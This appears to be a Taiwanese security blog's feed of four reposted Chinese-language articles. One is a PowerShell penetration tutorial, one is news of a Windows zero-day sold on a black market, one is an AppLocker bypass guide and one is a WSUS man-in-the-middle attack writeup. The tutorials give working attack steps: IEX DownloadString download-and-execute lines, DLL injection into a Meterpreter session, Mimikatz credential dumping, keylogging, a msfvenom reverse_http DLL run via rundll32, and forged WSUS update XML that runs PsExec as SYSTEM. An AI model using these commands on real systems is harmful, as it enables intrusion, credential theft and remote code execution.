Windows | 捕夢網 Blog https://blog.pumo.com.tw 網路安全、資安服務、雲端主機、主機租賃、主機代管、虛擬主機、網站代管專家 Mon, 17 Oct 2016 06:15:46 +0000 zh-TW hourly 1 https://wordpress.org/?v=6.5.5 【技術分享】滲透利器之Powershell https://blog.pumo.com.tw/archives/755 https://blog.pumo.com.tw/archives/755#respond Mon, 17 Oct 2016 06:15:46 +0000 http://blog.pumo.com.tw/?p=755 前言 Powershell是Microsoft Windows命令列...

The post 【技術分享】滲透利器之Powershell first appeared on 捕夢網 Blog.

]]>
前言


Powershell是Microsoft Windows命令列shell程式和腳本環境,它提供了令人難以置信的靈活性和功能來管理Windows系統,現在Windows系統上基本上都有它的存在。正因為它的強大,才能被我們所利用,幫助我們進行滲透測試。

 

Powershell的優秀之處​


1. 代碼運行在記憶體中可以不去接觸磁片

2. 從另一個系統中下載代碼並執行

3. 很多安全產品並不能監測到powershell的活動

4. cmd.exe通常被阻止運行,但是powershell不會

 

各個Windows下powershell版本


http://p5.qhimg.com/t0195b15357de4adf51.png

 

Powershell運行選項


以下介紹了滲透測試過程中我們經常要使用到的powershell運行選項

 

1

2

-WindowsStyle Hidden 隐藏自己的窗口

-ExecutionPolicy Bypass 绕过策略

Powershell腳本預設情況下無法在cmd下或按兩下執行,這時我們就可以使用這個選項繞過。

 

PowerSploit


PowerSploit是GitHub上面的一個安全項目,上面有很多powershell攻擊腳本,它們主要被用來滲透中的資訊偵察、許可權提升、許可權維持。

項目位址:https://github.com/PowerShellMafia/PowerSploit

 

 

一、代碼執行(CodeExecution)

1. Invoke-DllInjection 

2. Invoke-ReflectivePEInjection

3. Invoke-Shellcode

4. Invoke-WmiCommand

二、脚本修改(ScriptModification)

1. Out-EncodedCommand

2. Out-CompressedDll

3. Out-EncryptedScript

4. Remove-Comments

三、权限维持(Persistence)

1. New-UserPersistenceOption

2. New-ElevatedPersistenceOption

3. Add-Persistence

4. Install-SSP

5. Get-SecurityPackages

四、繞過防毒軟體(AntivirusBypass)

Find-AVSignature

五、信息收集(Exfiltration)

這個資料夾主要是收集目標主機上的資訊。

六、信息侦察(Recon)

這個資料夾主要是以目標主機為跳板進行內網主機偵察。

 

搭建PowerSploit腳本伺服器​


1. 下載PowerSploit到伺服器

http://p2.qhimg.com/t018218ace50f435af5.png

2. 啟動Apache

http://p7.qhimg.com/t01fc5b49f2d5b5aa6d.png

3. 查看是否成功搭建

http://p5.qhimg.com/t01005c4c68da223f6f.png

 

實際運用


由於篇幅問題,我們不可能針對每一個腳本都進行詳細的介紹,所以這裡我們來介紹一下實戰中最常用到的腳本。

IEX遠端下載腳本執行:

1

IEX(New-Object Net.WebClient).DownloadString(“脚本地址”)

取得Shell:

1.  Invoke-DllInjection

將DLL檔注入到當前進程中

我們首先來生成一個DLL反彈碼

http://p1.qhimg.com/t01e6c16b68d04c72ad.png

在目的機上保存msf.dll到本地

http://p0.qhimg.com/t01754bd9980fba6681.png

我們下載Invoke-DllInjection腳本

http://p7.qhimg.com/t01fa1d19692685aae9.png

運行一個隱藏進程並注入DLL反彈木馬

http://p1.qhimg.com/t01e86a2f91a359d579.png

可以看見Meterpreter會話成功建立了

http://p8.qhimg.com/t01a9823d4cf08129a5.png

2. Invoke-Shellcode

在當前進程中注入Shellcode

Powershell調用Windows API非常方便,所以也可以直接來執行Shellcode。PowerSploit也提供了一些Shellcode,看下圖:

http://p2.qhimg.com/t01184fbc918ceb5364.png

 

擴大成果內網端口掃描


1. 我們先下載Invoke-Portscan

http://p5.qhimg.com/t01504eaf794aeb0fe5.png

2. 结果

http://p0.qhimg.com/t012a419f8dcb079a59.png

 

獲取主機密碼


為了不讓管理員發現,我們不能再目的機上添加任何帳戶,這時候我們就需要來獲取管理員密碼來維持訪問。這裡我們就需要使用到腳本Invoke-Mimikatz,注意需要管理員許可權。

1. 下載腳本

http://p3.qhimg.com/t01a096e94f7be65af7.png

2. dump密碼

1

Invoke-Mimikatz –DumpCreds

http://p4.qhimg.com/t01a4d67a045e8aecfc.png

再來一個大殺器-鍵盤記錄

http://p0.qhimg.com/t0160f7ce69b7f027a7.png

這樣它就進行鍵盤記錄,不僅有鍵盤輸入記錄還有滑鼠輸入記錄,而且還有很詳細的時間,實戰使用的時候,我們就要在放入後臺運行。

 

漏洞探測-攻擊進行時​


下載腳本:

1

IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/Privesc/PowerUp.ps1")

Invoke-AllChecks:輸出可識別的漏洞

http://p8.qhimg.com/t01e35e708a57173d2d.png

 

自学指南-Get Help


腳本很多,很難一一介紹,剩下就要自己來嘗試了,但是網上基本上找不到使用教程,所以就需要來獲取説明資訊,來説明自己學習。

比如Invoke-DllInjection

下載腳本:

1

IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")

獲取説明資訊:

1

Get-Help Invoke-DllInjection

http://p0.qhimg.com/t01753e3e96af70fd2b.png

查看事例:

1

Get-Help Invoke-DllInjection -Examples

http://p8.qhimg.com/t0163d0260b2de7f2d7.png

查看詳細資訊:

1

Get-Help Invoke-DllInjection –Detailed

http://p7.qhimg.com/t01d76103ae9027a03f.png

 

結語


Powershell實在是太強大了,可以說是內網滲透利器,繼續深入研究,下一篇文章我們就不再是使用別人的腳本了,本篇文章的作用主要還是在於引導,大家還是要多用多練,才能在實踐中靈活的運用。

 

文章來源: http://bobao.360.cn/learning/detail/3104.html

圖片來源: https://pixabay.com/

The post 【技術分享】滲透利器之Powershell first appeared on 捕夢網 Blog.

]]>
https://blog.pumo.com.tw/archives/755/feed 0
駭客在黑市兜售微軟Windows零時差安全漏洞,叫價9萬美元 https://blog.pumo.com.tw/archives/535 https://blog.pumo.com.tw/archives/535#respond Fri, 03 Jun 2016 01:28:48 +0000 http://blog.pumo.com.tw/?p=535 Trustwave旗下安全研究部門SpiderLabs指出該零時差安...

The post 駭客在黑市兜售微軟Windows零時差安全漏洞,叫價9萬美元 first appeared on 捕夢網 Blog.

]]>
Trustwave旗下安全研究部門SpiderLabs指出該零時差安全漏洞為本機權限擴張漏洞,受影響的系統版本從Windows 2000、Windows XP到最新的Windows 10,不論32位元或64位元作版皆受影響,已有駭客在俄國的論壇兜售,叫價9萬美元

windows101

資安業者近日揭露,有名駭客上個月在俄國的網路犯罪論壇兜售一個號稱可適用於所有Windows版本的零時差安全漏洞,叫價9萬美元。

根據Trustwave旗下安全服務暨研究部門SpiderLabs所張貼的交易內容,此一零時差安全漏洞屬於本機權限擴張(Local Privilege Escalation,LPE)漏洞,它位於win32k.sys,源自於不正確地處理具備特定屬性的Windows物件,從Windows 2000、Windows XP到最新版的Windows 10都受到影響,不論是32位元或64位元的版本皆淪陷。

SpiderLabs指出,雖然最令人垂涎的漏洞仍舊是遠端程式攻擊,但本機權限擴張很可能就是第二名,它通常被用來進行初步的感染,並搭配諸如遠端程式攻擊或先進持續威脅等惡意程式,危害程度不容小覷。

賣家張貼了兩段實際執行攻擊的影片,影片錄製日期就是微軟今年5月進行例行性修補的當天(5/10),以證明相關攻擊程式即使剛修補好的Windows 10都難逃一劫。

SpiderLabs觀察,網路犯罪這個行業已從以往多半是個人工作室或小型團隊演化成更大型卻分散的組織,而惡意程式活動也逐漸進展成惡意軟體即服務(malware-as-a-service),駭客不必再同時扮演自開發惡意程式到銷售外洩資料的多重角色,他們只要發揮自己的專長,再彼此兜售所需服務即可。

研究人員Vlad Tsyrklevich去年曾發表一份有關零時差漏洞市場的研究,列出了數個專門開發或出售相關漏洞的開發人員或組織,顯示在黑市交易的漏洞價碼從1萬美元到10萬美元不等。SpiderLabs表示,該賣家已將該Windows零時差漏洞的價格從9.5萬美元降到9萬美元了。

微軟的抓漏獎勵計畫針對單一重大漏洞所提供的最高獎金也高達10萬美元,資安部落客Brian Krebs認為此一Windows零時差漏洞若為真,應可符合微軟的最高獎勵資格,然而,駭客不選擇賣給微軟,卻決定透過黑市銷售,頗令人玩味。

文章來源: http://www.ithome.com.tw/news/106321

圖片來源: https://pixabay.com/

The post 駭客在黑市兜售微軟Windows零時差安全漏洞,叫價9萬美元 first appeared on 捕夢網 Blog.

]]>
https://blog.pumo.com.tw/archives/535/feed 0
Bypass Windows AppLocker https://blog.pumo.com.tw/archives/131 https://blog.pumo.com.tw/archives/131#respond Tue, 23 Feb 2016 06:04:01 +0000 http://blog.pumo.com.tw/?p=131 0x00 前言 上一次我們對McAfee Application C...

The post Bypass Windows AppLocker first appeared on 捕夢網 Blog.

]]>
0x00 前言

2016010708532215158125

上一次我們對McAfee Application Control做了測試,這次接著對另一款白名單工具Windows AppLocker進行測試,分享一下其中的攻防技術。

0x01 簡介

Windows AppLocker,即“應用程式控制策略”,可用來對可執行程式、安裝程式和腳本進行控制,之前只能支持windows7 Enterprise、windows7 Ultimate和WindowsServer2008 R2,但是微軟在2012年10月18日將其更新,已支持Windows8.1,Windows Server2012 R2,WindowsServer2012和Windows8 Enterprise

如圖

2016010708532472169215

AppLocker可對以下檔案格式創建規則,限制其執行

2016010708532657699312

下面我們就實際測試一下相關功能

0x02 配置

測試環境:

OS:Windows7 Ultimate x86

1、開啟服務

進入電腦管理-服務-Application Identity,將服務設置為開啟

如圖

2016010708532884473413

2、進入AppLocker配置介面

輸入secpol.msc進入本地安全性原則-應用程式控制策略-AppLocker

或者gpedit.msc-電腦配置-Windows設置-安全設置-應用程式控制策略-AppLocker

如圖

2016010708533051667510

3、配置規則

對可執行檔設置預設規則:

允許本地管理員組的成員運行所有應用程式。

允許 Everyone 組的成員運行位於 Windows 資料夾中的應用程式。

允許 Everyone 組的成員運行位於 Program Files 資料夾中的應用程式。

如圖

201601070853324481668

對腳本設置預設規則:

允許本地管理員組的成員運行所有腳本。

允許 Everyone 組的成員運行位於 Program Files 資料夾中的腳本。

允許 Everyone 組的成員運行位於 Windows 資料夾中的腳本。

如圖

201601070853346469977

開啟預設規則後,除了預設路徑可以執行外,其他路徑均無法執行程式和腳本

0x03 測試

1、執行exe

201601070853351262887

2、執行腳本

201601070853379665797

2016010708533899575107

0x04 安全機制分析

通過測試發現設置的規則已經生效,能夠阻止信任路徑外的exe和腳本執行,但是對以下方面沒有做限制:

記憶體

Office 

HTML Applications,即hta文件

powershell

而我們已經掌握的繞過技術有:

 

利用hta檔

利用jscript

利用powershell

利用InstallUtil

利用regsvcs

再加上新學來的技巧,我們最終發現了如下可供利用的方法

 

0x05 繞過方法

1、hta

成功

(可參照http://drops.wooyun.org/tips/10667)

可用來執行vbs和JavaScript腳本

2、提權

提權到管理員許可權,即可執行突破AppLocker的限制,執行exe和腳本

3、powershell

(1)可以執行ps腳本

PowerShell.exe -ExecutionPolicy Bypass -File

(2)可以通過如下方式執行ps腳本

Get-Content script.txt | iex

(3)可以利用快捷方式執行Powershell

成功

(可參照http://drops.wooyun.org/tips/10667)

4、進程注入

既然可以執行powershell腳本,那麼就可以反彈出meterpreter

然後嘗試進程注入

(可參照http://drops.wooyun.org/tips/11305)

如果注入到普通許可權進程,無法執行exe和腳本

如果是system許可權進程,可以執行exe和腳本

5、查找可利用的檔路徑

通過ps腳本掃描可寫入的路徑

下載地址:http://go.mssec.se/AppLockerBC

(如果無法下載,我已將該腳本上傳至Github)

測試如圖

20160107085340652771112

2016010708534199082126

2016010708534388782134

執行後會自動掃描出可利用的路徑

比如選擇路徑:c:\Windows\Tasks

正常執行calc.js會被攔截

但是copy calc.js c:\Windows\Tasks後

再執行c:\Windows\Tasks\calc.js,可以繞過攔截

如圖

2016010708534537138144

6、rundll32

(1)執行JavaScript

a、直接彈回一個Http shell

(可參照http://drops.wooyun.org/tips/11764)

但無法繞過對執行exe和腳本的攔截

b、利用JavaScript執行powershell命令返回HTTP shell

2016010708534799119154

(2)載入協力廠商dll

a、自己編寫的dll

參考資料:

http://blog.didierstevens.com/2010/02/04/cmd-dll/

按照dll的格式,自己編寫並生成dll上傳

執行

rundll32.exe cmd.dll,Control_RunDLL

彈出一個cmd

如圖

2016010708534851450163

b、反彈meterpreter

kali下:

msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll

生成a.dll,然後上傳至測試主機

執行

rundll32.exe a.dll,Control_RunDLL

即可上線

2016010708534958386173

7、利用InstallUtil

利用InstallUtil.exe直接執行shellcode 成功

如果有Microsoft .NET Framework 4.0環境,可用來執行exe

(可參照http://drops.wooyun.org/tips/8701,http://drops.wooyun.org/tips/8862)

8、利用regsvcs

成功

(可參照http://drops.wooyun.org/tips/10667)

0x06 防禦

嚴格控制文件寫入許可權

禁用mshta.exe阻止hta的運行

禁用powershell

防止被提權

0x07 小結

隨著研究的逐漸深入,我們不難發現:利用InstallUtil、regsvcs是繞過白名單限制的一把利器,無論是攻擊還是防禦,對此部分都要尤其重視。

而利用rundll32.exe的技巧,正在慢慢被發掘。

0x08 參考資料:

https://technet.microsoft.com/en-us/library/dd759117.aspx

https://technet.microsoft.com/en-us/library/hh831440.aspx

http://dfir-blog.com/2016/01/03/protecting-windows-networks-applocker/

https://mssec.wordpress.com/2015/10/22/applocker-bypass-checker/

https://www.attackdebris.com/?p=143

http://blog.didierstevens.com/2010/02/04/cmd-dll/

相關檔下載地址:

https://github.com/3gstudent/Bypass-Windows-AppLocker

 

文章來源:http://drops.wooyun.org/tips/11804

圖片來源:https://pixabay.com/

The post Bypass Windows AppLocker first appeared on 捕夢網 Blog.

]]>
https://blog.pumo.com.tw/archives/131/feed 0
Windows更新+中間人=遠端命令執行 https://blog.pumo.com.tw/archives/162 https://blog.pumo.com.tw/archives/162#respond Mon, 22 Feb 2016 09:24:58 +0000 http://blog.pumo.com.tw/?p=162 Windows更新+中間人=遠端命令執行 0x00 Windows ...

The post Windows更新+中間人=遠端命令執行 first appeared on 捕夢網 Blog.

]]>
Windows更新+中間人=遠端命令執行

0x00 Windows Server Update Services

WSUS是Windows Server Update Services的簡稱。利用這個windows服務,管理員只需要保證區域網域中的一台主機能夠連接到MicroSoft Update伺服器,就能實現內網中所所有主機快速地進行windows更新。

簡而言之,內網中的WSUS伺服器就是windows官方更新伺服器的代理。WSUS伺服器通過互聯網取得官方的windows update,並且緩存到本地。管理員只需要在WSUS上選擇哪些補丁需要更新,就能通過HTTP/HTTPS協議快速地將各種ms-2015-***|||*部署到內網中的其他伺服器中去,這樣即使是由於種種原因不能暴露在英特網中的內網主機(比如oracle資料庫伺服器)也能通過WSUS及時下載補丁,大大增加了內網的安全性,實現了細粒化管理。所以很多中大型網路都會部署wsus伺服器來實現內網安全加固。

由於wsus是基於c/s模式的,所以server和client我們都需要進行配置。 client機器上在註冊表中存儲了wsus伺服器的位址

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\W UServer

比如存儲的內容可能是這樣的 http://wsus01:8530. Port 8530 是wsus部署的默認埠。

0x01 WSUS 協議分析

wsus利用SOAP XML實現c/s之間的通信,當client主機首次連入wsus-server的時候,會有一個這樣的註冊過程。

2015112106260576738

一旦完成了這樣的註冊流程,client主機就能進行定時更新檢查了。(只要上述的cookies不過期)

2015112106260538931

這裡我們詳細分析一下每一個請求

SOAP Call                     請求                       回應
SyncUpdates (硬體驅動)       本機硬體清單               可更新的驅動列表
SyncUpdates (軟體)         已經安裝的更新的id列表   新可用更新列表以及metadata
GetExtendedUpdateInfo      具體地update id       對應此id的詳盡的metadata,包括下載地址,hash..

可以看到wsus服務其實非常好理解:

一個SyncUpdates到wsus伺服器獲取可更新的id以及id對應的一些解釋資料,本機通過這些解釋資料決定安裝哪個(些)補丁,並且發送GetExtendedUpdateInfo,獲得詳細的資訊進行安裝。

下面是一個SyncUpdates響應的例子

Example of wsus-server to cilent

<UpdateIdentity UpdateID="53979536-176e-46c2-9f61-bcf68381c065"     RevisionNumber="206" />
<Properties UpdateType="Software" />
<Relationships>
    <Prerequisites>
        <UpdateIdentity UpdateID="59653007-e2e9-4f71-8525-2ff588527978" />          <UpdateIdentity UpdateID="71c1e8bb-9a5d-4e56-a456-10b0624c7188" />      </Prerequisites>
</Relationships>
<ApplicabilityRules>
    <IsInstalled>
    <b.FileVersion Version="6.1.7601.22045" Comparison="GreaterThanOrEqualTo"
Path="\conhost.exe" Csidl="37" />
    </IsInstalled>
    <IsInstallable>
        <Not>
      <CbsPackageInstalledByIdentity
PackageIdentity="InternetExplorer-Package~11.2.9600.16428" /> </Not>
    </IsInstallable>

那麼一旦client決定了要裝哪些更新就會再發一個GetExtenedUpdateInfo到wsus-server

Example of client to wsus-server(GetExtendedUpdateInfo request)

<soap:Envelope><soap:Body>
<GetExtendedUpdateInfo>
    <cookie>首次連接註冊的cookies</cookie> 
    <revisionIDs>
        <int>13160722</int>
        <int>16753458</int>
        <int>17212691</int> 
        <int>17212692</int>
    </revisionIDs>
    <infoTypes>
        <XmlUpdateFragmentType>Extended</XmlUpdateFragmentType>             <XmlUpdateFragmentType>LocalizedProperties</XmlUpdateFragmentType>          <XmlUpdateFragmentType>Eula</XmlUpdateFragmentType>     </infoTypes>                                    <locales>
        <string>en-US</string>
        <string>en</string>                         </locales>                              
</GetExtendedUpdateInfo>
</soap:Body></soap:Envelope>

wsus接著給出回應

Example of GetExtendedUpdateInfo response

<soap:Envelope><soap:Body>
<GetExtendedUpdateInfoResponse><GetExtendedUpdateInfoResult>    <Updates>
    <Update>
        <ID>17212691</ID>
        <Xml>&lt;ExtendedProperties...&lt;/HandlerSpecificData&gt;</Xml> </Update>  
    <Update>
        <ID>17212692</ID>
        <Xml>&lt;ExtendedProperties...&lt;/HandlerSpecificData&gt;</Xml> </Update>
...                                                 </Updates>
<FileLocations>
    <FileLocation> 
        <FileDigest>tXa3bCw4XzkLd/Fyfs2ATZcYgh8=</FileDigest>
          <Url>http://wsus-server:8530/Content/1F/B576B76C2C385F39.cab</Url> </FileLocation>
    <FileLocation>
        <FileDigest>OzTUyOLCmjlK08U2VJNHw3rfpzQ=</FileDigest>
          <Url>http://wsus-server:8530/Content/34/3B34D4C8E2C29A39.cab</Url> </FileLocation>                                        </FileLocations>
</GetExtendedUpdateInfoResult>
</GetExtendedUpdateInfoResponse>
</soap:Body></soap:Envelope>

需要說明的是,每一個update標籤就是一個更新執行緒,然而最為重要的metadada標籤在MSDN文檔中卻並沒有詳細解釋。我們自己來分析一個看看

<ExtendedProperties DefaultPropertiesLanguage="en" Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/WindowsInstaller" MaxDownloadSize="3077548" MinDownloadSize="0">
  <InstallationBehavior RebootBehavior="CanRequestReboot" />
<UninstallationBehavior />
</ExtendedProperties>
<Files>
    <File Digest="OzTUyOLCmjlK08U2VJNHw3rfpzQ=" DigestAlgorithm="SHA1"          FileName="infopath-x-none.cab"  Size="3077548"          Modified="2013-12-18T21:44:08.38Z" PatchingType="SelfContained">
        <AdditionalDigest Algorithm="SHA256">FS28f... ohVcFKbaG4=</AdditionalDigest> 
    </File>     
</Files>
    <HandlerSpecificData type="msp:WindowsInstaller">
    <MspData CommandLine="DISABLESRCPROMPT=1 LOCALCACHESRCRES=0 NOLOCALCACHEROLLBACK=1"
    UninstallCommandLine="DISABLESRCPROMPT=1 LOCALCACHESRCRES=0
        NOLOCALCACHEROLLBACK=1"
    FullFilePatchCode="{39767eca-1731-45db-ab5b-6bf40e151d66}" />
</HandlerSpecificData>

其中<HandlerSpecificData>標籤指定了目的程式由哪個handler來進行安裝。 windows提供了如下幾種handler供指定

  1. Cbs (Cab file)
  2. WindowsDriver
  3. WindowsInstaller
  4. WindowsPatch
  5. InfBasedInstallation
  6. CommandLineInstallation

其中CommandLineInstallation這個handler允許單個可執行檔加任意參數被運行。適合我們的目的

所以,這裡我們關注這個handler進行討論

handler分析

二話不說先給出一個<xml>標籤實例,這是安裝 Malicious Software Removal tool(微軟公司出品的,用於檢測和刪除特殊流行的惡意軟體的工具)的Metadata

<ExtendedProperties DefaultPropertiesLanguage="en"
        Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/          CommandLineInst allation"
        MaxDownloadSize="41837240" MinDownloadSize="0">
    <InstallationBehavior RebootBehavior="CanRequestReboot" />
</ExtendedProperties>
<Files>
    <File Digest="sJRqIvCrdbpZvP18wDS2HbwhFUE=" DigestAlgorithm="SHA1"              FileName="Windows-KB890830-x64-V5.22.exe"
            Size="41837240" Modified="2015-02-27T15:54:52Z">
        <AdditionalDigest Algorithm="SHA256">robj...WY0=</AdditionalDigest>     </File>
</Files>
<HandlerSpecificData type="cmd:CommandLineInstallation">
<InstallCommand  Arguments="/Q /W"                           Program="Windows-KB890830-x64-V5.22.exe"                   RebootByDefault="false"                         DefaultResult="Succeeded">
<ReturnCode Reboot="true" Result="Succeeded" Code="3010" />  <ReturnCode Reboot="false" Result="Failed" Code="1603" />  <ReturnCode Reboot="false" Result="Failed" Code="-2147024894" />
</InstallCommand>
</HandlerSpecificData>

其中具體的安裝過程就在<InstallCommand>那兒了

0x02 Http有毒

將整個wsus流程分析清楚了。我們再來考慮一下基於wsus的安全問題,不知道大家是否注意到,前文曾經提到過

管理員只需要在wsus上選擇哪些補丁需要更新,就能通過HTTP/HTTPS協議快速地將各種ms-2015-***|||*部署到內網中的其他伺服器中去

而http協議在內網中簡直就是毒藥。 最令人遺憾的是,截止到最新的版本,wsus依然使用http作為預設的同學協議,只是在安裝完畢的wizard介面向管理員建議部署ssl通信

2015112106260658488

所以我們完全有能力在內網中通過中間人篡改metadata實現攻擊(以system許可權)。而且攻擊一定會奏效,因為wsus部署好之後,client的update check是定期的,所以肯定能夠偽造一個新更新,迫使用戶安裝。

0x03 windows簽名驗證的繞過到中間人遠端命令執行

可惜如果你們覺得通過中間人篡改metadata就能裝個驅動馬到主機上,那就too young了。

All update packages that are downloaded by Windows Update are signed with a Microsoft signature.(所有更新包必須帶有微軟簽名才能被下載並安裝)

所以現在有兩種辦法來解決問題

  1. 給你的木馬加一個微軟的簽屬
  2. 另闢蹊徑

恩。。我們直接想第二種辦法。 windows Update會驗證每個更新是否被微軟公司簽名,然而,簽章憑證並不需要指明是用來“windows update” 這就是說,任何被微軟簽名的可執行程式都能被作為更新包被安裝並運行。

想像一下,假如我們能夠偽造一個cmd.exe的更新呢,加上前面又提到,在xml標籤裡面是可以指定運行參數的,那我們就能夠通過中間人執行任意命令了!

冷靜冷靜,我們的微軟並沒有給cmd.exe簽名。

但是psExec確乎是被微軟簽名了,psexec的作用這裡不解釋,大家都懂

所以我們完全有能力將psexec運行在NT AUTHORITY\SYSTEM下。所以,pwned~

0x04 Pwn

這是一個沒有經過篡改的SyncUpdate 回應(用來告訴client現在有哪些更新可用)

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<SyncUpdatesResponse
    xmlns="http://www.microsoft.com/SoftwareDistribution/Server/            ClientWebService ">
<SyncUpdatesResult>
<NewUpdates></NewUpdates>   
<Truncated>false</Truncated>                    <NewCookie>
<Expiration>2015-07-17T10:06:59Z</Expiration>
<EncryptedData>qIbM...RtXw0VdZg==</EncryptedData> </NewCookie>  <DriverSyncNotNeeded>false</DriverSyncNotNeeded>
</SyncUpdatesResult>
</SyncUpdatesResponse>
</soap:Body></soap:Envelope>

而我們的通過在上面為空的NewUpdates標籤中插入內容,就能偽造更新

通過大量測試我們發現一個windows update需要兩個<UpdateInfo>元素,其中一個必須含有<Action>Install</Action>標籤,另一個必須含有<Action>Bundle</Action> 標籤,install標籤提供了更新標題諸如此類的,而bundle標籤則提供更新檔。

<NewUpdates>                                    <!-- Start of injected content -->
<UpdateInfo>
<ID>17999990</ID>                               <Deployment>
<ID>899990</ID>
<Action>Bundle</Action>
<IsAssigned>true</IsAssigned>
<LastChangeTime>2015-04-15</LastChangeTime>
<AutoSelect>0</AutoSelect>
<AutoDownload>0</AutoDownload>
<SupersedenceBehavior>0</SupersedenceBehavior>  <FlagBitmask>0</FlagBitmask>
</Deployment>
<IsLeaf>true</IsLeaf>
<Xml>
<!-- This would XML-encoded inside the Xml tag -->
<UpdateIdentity UpdateID="969e0d46-7f67-4c81-b672-3c1c4a36c00e"
RevisionNumber="201" />
<Properties UpdateType="Software" />
<Relationships>
<Prerequisites> 
<UpdateIdentity UpdateID="6407468e-edc7-4ecd-8c32-521f64cee65e" />
</Prerequisites>
</Relationships>
<ApplicabilityRules>
<IsInstalled>
<b.FileExists Csidl="41" Path="\15151245.exe" /> <!-- This file shouldn't
exist -->
</IsInstalled>
<IsInstallable>
<b.FileExists Csidl="41" Path="\mswsock.dll" /> <!-- This does exist -->
</IsInstallable>
</ApplicabilityRules>
</Xml>
</UpdateInfo>
<UpdateInfo>
<ID>17999991</ID>
<Deployment>
<ID>899991</ID>
<Action>Install</Action>
<IsAssigned>true</IsAssigned>
<LastChangeTime>2015-04-15</LastChangeTime>
<AutoSelect>0</AutoSelect> <!-- This must be 0 according to docs, WU
ignores it -->                                  <AutoDownload>0</AutoDownload> <!-- same -->
<SupersedenceBehavior>0</SupersedenceBehavior>
<FlagBitmask>0</FlagBitmask>
</Deployment>
<IsLeaf>true</IsLeaf>
<Xml>
<!-- This should be XML encoded inside the Xml tag -->
<UpdateIdentity UpdateID="853ea117-355b-4c1e-96ce-fab9c977a8e7"
    RevisionNumber="201" />
<Properties UpdateType="Software" ExplicitlyDeployable="true"
    AutoSelectOnWebSites="true"/>
<Relationships>
<Prerequisites>
<UpdateIdentity UpdateID="6407468e-edc7-4ecd-8c32-521f64cee65e" /> <!--
    Requires Windows 10 -->
</Prerequisites>
<BundledUpdates>
<UpdateIdentity UpdateID="969e0d46-7f67-4c81-b672-3c1c4a36c00e"
RevisionNumber="201" />
    </BundledUpdates>
</Relationships>
</Xml>  </UpdateInfo>   <!-- End of injected content -->
</NewUpdates>

於是乎,client會就剛剛兩個id發出GetExtendedUpdateInfo請求,要求wsus伺服器返回詳細的安裝消息

<revisionIDs>
<int>17999990</int> 
<int>17999991</int>
</revisionIDs>
<infoTypes>
<XmlUpdateFragmentType>Extended</XmlUpdateFragmentType>
<XmlUpdateFragmentType>LocalizedProperties</XmlUpdateFragmentType>
</infoTypes>

中間人這時再次將請求包中的兩個id剔除,以免wusu伺服器因為不存在的更新報錯。當wsus伺服器響應之後,我們再將響應內容篡改,這次我們加入四個更新標籤

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body><GetExtendedUpdateInfoResponse
xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<GetExtendedUpdateInfoResult>
<Updates>
<Update>
<ID>17999990</ID>
<Xml>
 <!-- This should be XML encoded inside the Xml tag -->
<ExtendedProperties DefaultPropertiesLanguage="en"
 Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineI
nstallation"
MaxDownloadSize="847040" MinDownloadSize="0">
<InstallationBehavior RebootBehavior="NeverReboots" />
</ExtendedProperties>
<Files>
<File Digest="HO4/qEGb30y8JmRhJ34/3ZuT3iU=" DigestAlgorithm="SHA1"
FileName="PsExec.exe" Size="847040" Modified="2015-02-27T15:54:52Z">
<AdditionalDigest
Algorithm="SHA256">A2LNbnsxirmkx02vIp8Ru3laLOVT6gJMtJFDRWwnxB0=</AdditionalDig
est>
</File>
</Files>
<HandlerSpecificData type="cmd:CommandLineInstallation">
<InstallCommand Arguments="/accepteula cmd /c calc.exe"
Program="Windows-KB890830-V5.22.exe"
RebootByDefault="false" DefaultResult="Succeeded">
<ReturnCode Reboot="true" Result="Succeeded" Code="3010" />
<ReturnCode Reboot="false" Result="Failed" Code="1603" />
<ReturnCode Reboot="false" Result="Failed" Code="-2147024894" />
</InstallCommand>
</HandlerSpecificData>
 </Xml>
 </Update>
 <Update>
<ID>17999991</ID>
  <Xml>
 <!-- This should be XML encoded inside the Xml tag -->
<ExtendedProperties DefaultPropertiesLanguage="en" MsrcSeverity="Important"
 IsBeta="false">
 <SupportUrl>http://support.microsoft.com</SupportUrl>
  <SecurityBulletinID>MS15-041</SecurityBulletinID>
 <KBArticleID>3037581</KBArticleID>
  </ExtendedProperties>
 </Xml>
 </Update>
 <Update>
<ID>17999990</ID>
  <Xml>
 <!-- This should be XML encoded inside the Xml tag -->
 <LocalizedProperties>
<Language>en</Language>
 <Title>anything-in-here</Title>
  </LocalizedProperties>
 </Update>
</Xml>
  <Update>
<ID>17999991</ID>
  <Xml>
 <!-- This should be XML encoded inside the Xml tag -->
 <LocalizedProperties>
<Language>en</Language>
 <Title>A fake update</Title>
 <Description>Will do bad things</Description>
 <UninstallNotes>...</UninstallNotes>
 <MoreInfoUrl>http://support.microsoft.com/kb/3037581</MoreInfoUrl>
  <SupportUrl>http://support.microsoft.com</SupportUrl>
   </LocalizedProperties>
 </Xml>
 </Update>
 </Updates>
 <FileLocations>
 <FileLocation>
<FileDigest>HO4/qEGb30y8JmRhJ34/3ZuT3iU=</FileDigest>
 <Url>**http://fake-updates/ClientWebService/psexec/BgInfo.exe**</Url>
  </FileLocation>
 </FileLocations>
</GetExtendedUpdateInfoResult></GetExtendedUpdateInfoResponse>

0x05 Source

http://www.contextis.com/documents/161/CTX_WSUSpect_White_Paper.pdf

pocket: https://github.com/ctxis/wsuspect-proxy

文章來源:http://drops.wooyun.org/tips/10558
圖片來源:https://pixabay.com/

The post Windows更新+中間人=遠端命令執行 first appeared on 捕夢網 Blog.

]]>
https://blog.pumo.com.tw/archives/162/feed 0